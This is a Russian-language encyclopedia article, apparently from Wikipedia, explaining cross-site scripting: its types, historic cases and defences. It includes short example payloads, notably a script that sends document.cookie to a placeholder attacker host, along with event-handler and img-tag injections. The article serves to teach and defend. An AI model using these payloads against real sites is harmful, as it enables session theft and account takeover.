XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода».
Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя[1].
Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».
XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 2021[2]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атаки[3].
Справочная информация
правитьБезопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена. Это правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com)[4].
Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.
Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен JavaScript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к JavaScript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности.[5]
XSS уязвимости зарегистрированы и используются с середины 1990-x годов[6]. Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter[7], ВКонтакте[8], MySpace[9], YouTube[10], Facebook[11] и др.
Классификация
правитьНе существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различает по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).
По вектору
правитьОтражённые (непостоянные)
правитьАтака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой[13]. Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента без надлежащей обработки[14]. Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.
Пример:
http://example.com/search.php?q=<script>DoSomething();</script>
Если сайт не экранирует угловые скобки, преобразуя их в «<
» и «>
», получим скрипт на странице результатов поиска.
Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим для вектора XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.
Хранимые (постоянные)
правитьХранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.
Фрагмент кода похищения ключа с идентификатором сессии (session ID):
<script>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>
DOM-модели
правитьXSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript-сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.
Пример:
<body>
<script>document.write(location.href);</script>
</body>
Пример DOM-модели XSS — баг, найденный в 2011 году в нескольких JQuery-плагинах[15]. Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки[16]. Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например, AngularJS[17].
По каналам внедрения скрипта
правитьОшибки в браузере
правитьBugzilla, 2004 год.[19] В некоторых браузерах (по крайней мере, Internet Explorer) при задании URL’а
http://bugzilla.mozilla.org/enter_bug.cgi? <script>alert('foo');</script>
не происходит URL-кодирования, и код
document.write(
"<p>URL: " + document.location + "</p>");
внедрит в страницу скрипт.
Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.
Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.
Отсутствие экранирования спецсимволов HTML
правитьphpBB, 2002 год[20][21]. Хотя URL картинок проверяется на протокол (разрешён только http:
), сам URL никак не экранируется, и строкой наподобие
[img]http://a.a/a"onerror=" javascript:alert(document.cookie)[/img]
можно протащить в документ пользовательский скрипт.
Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: '"&<>
. Сервер может экранировать не все символы (известный недостаток PHP[22]), либо веб-программист просто забывает заэкранировать строку.
Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething();
.
Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений[23]. Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.
Отсутствие фильтрации атрибутов и их значений в разрешённых тегах
правитьТипичным примером будет ссылка <a href="javascript:DoSomething()">
. Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript:
и data:
.
Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.
Подмена кодировки в заголовке страницы
правитьСовременные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title>
расположен до тега <meta>
и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как <
и "
.
Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной[24].
Социальная инженерия
правитьПользуясь социальной инженерией, злоумышленники добиваются того, что пользователь сам запускает вредоносный скрипт в браузере (на стороне клиента). Разработчики браузеров и веб-сайты принимают усилия по предотвращению атак такого типа[25].
Через внедрение SQL-кода
правитьЕсли сайт и допускает внедрение SQL-кода, и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код[26], то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.
Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт. Бывают атаки и без хранения HTML в БД — СУБД вместо хранящегося в БД поля вернёт тот скрипт, который записан в тексте запроса.
По способу воздействия
правитьАктивные
правитьАктивная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.
Пример:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а также у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.
Пассивные (автономные)
правитьПассивная XSS-атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).
Пример:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.
Средства защиты
правитьЗащита на стороне сервера
править- Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции:
filter_sanitize_encoded
(для кодирования URL)[28],htmlentities
(для фильтрации HTML)[29]. - Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project[30], HTML Purifier, htmLawed, Anti-XSS Class.
- Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
- Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей[31].
- Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly[32], использованием SSL[33].
- Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.
Защита на стороне клиента
править- Регулярное обновление браузера до новой версии[18].
- Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.
См. также
правитьПримечания
править- ↑ 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika. Post XSS Exploitation: Advanced Attacks and Remedies (англ.). — P. 9. (недоступная ссылка)
- ↑ OWASP Top 10 (англ.). OWASP. The Open Web Application Security Project (OWASP). Дата обращения: 30 января 2022. Архивировано 17 января 2020 года.
- ↑ Seth Fogie, Jeremiah Grossman, 2007, pp. 290, 379.
- ↑ Same Origin Policy (англ.). W3C. Дата обращения: 18 декабря 2014. Архивировано 27 января 2017 года.
- ↑ Grossman, Jeremiah. The origins of Cross-Site Scripting (XSS) . Дата обращения: 15 декабря 2014. Архивировано 21 февраля 2017 года. (англ.)
- ↑ Seth Fogie, Jeremiah Grossman, 2007, p. 3.
- ↑ Mirkov, Denis. Twitter заразили вирусом . Хакер (21 сентября 2010). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ Mirkov, Denis. XSS-уязвимости ВКонтакте . Хакер (10 марта 2011). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ Mirkov, Denis. Сайт Sla.ckers.org открыл подборку XSS уязвимостей . Хакер (25 сентября 2006). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ Mirkov, Denis. Множественные уязвимости в YouTube Blog . Хакер (23 июля 2008). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ Mirkov, Denis. На Facebook обнаружена XSS-уязвимость . Хакер (26 мая 2008). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ Тюрин, Алексей. В поисках лазеек: гид по DOM Based XSS // Хакер : Журнал. — 2013. — № 172. — С. 80-85. Архивировано 15 декабря 2014 года.
- ↑ Paco Hope, Ben Walther, 2008, p. 128.
- ↑ Cross-site Scripting (англ.). Web Application Security Consortium (2005). Дата обращения: 18 декабря 2014. Архивировано 1 июня 2010 года.
- ↑ JQuery bug #9521 (англ.). JQuery. Дата обращения: 18 декабря 2014. Архивировано 30 января 2017 года.
- ↑ DOM based XSS prevention cheat sheet (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 28 января 2017 года.
- ↑ Strict Contextual Escaping (англ.). AngularJS. Дата обращения: 18 декабря 2014. Архивировано 10 февраля 2014 года.
- ↑ 1 2 Cross-site Scripting (XSS) (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 22 декабря 2014 года.
- ↑ Bug 272620 - XSS vulnerability in internal error messages (англ.). Bugzilla@Mozilla. Дата обращения: 18 декабря 2014. Архивировано 30 октября 2014 года.
- ↑ US-CERT/NIST. Vulnerability Summary for CVE-2002-0902 (англ.) : сайт. — 2008. Архивировано 15 октября 2012 года.
- ↑ Boerwinkel, Martijn. Cross Site Scripting Vulnerability in phpBB2's IMG tag and remote avatar (англ.). seclists.org (26 мая 2002). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ Стандартная функция PHP
htmlspecialchars
по умолчанию не экранирует апостроф, и в сочетании с кодом"<a href='$htUrl'>"
получается уязвимость. - ↑ Простой парсинг BBcode на php . Веб-разработка. Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
- ↑ The elements of HTML — HTML Standard (англ.). Web Hypertext Application Technology Working Group (WHATWG). Дата обращения: 18 декабря 2014. Архивировано 21 декабря 2019 года.
- ↑ DevTools: Combat self-xss (англ.). Chromium. Дата обращения: 6 февраля 2024. Архивировано 6 февраля 2024 года.
- ↑ Например, движок MediaWiki кэширует HTML-код страниц.
- ↑ Kochetkov, Vladimir. Вся правда об XSS или Почему межсайтовое выполнение сценариев не является уязвимостью? SecurityLab (8 августа 2012). Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
- ↑ Очищающие фильтры . PHP. Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
- ↑ PHP:htmlentities (англ.). PHP. Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
- ↑ OWASP Java Encoder Project . The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 2 ноября 2014 года.
- ↑ Сноу, Джон. Маскарад символов: unicode-ориентированные аспекты безопасности // Хакер : сайт. — 2010. Архивировано 19 декабря 2014 года.
- ↑ HttpOnly (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 26 декабря 2008 года.
- ↑ Hafner, Robert. How to create totally secure cookies (англ.) : сайт. — 2009. Архивировано 19 декабря 2014 года.
Литература
править- Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov. XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543.
- Paco Hope, Ben Walther. Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9.
Ссылки
править- XSS FAQ (англ.)
- XSS шпаргалка (англ.)
- Еще одна XSS шпаргалка (англ.)
- HTML5 Security Cheatsheet
- XSS-game от Google (англ.)
- Флэш-анимация о Cross-Site Scripting Attack (англ.)
Эта статья входит в число добротных статей русскоязычного раздела Википедии. |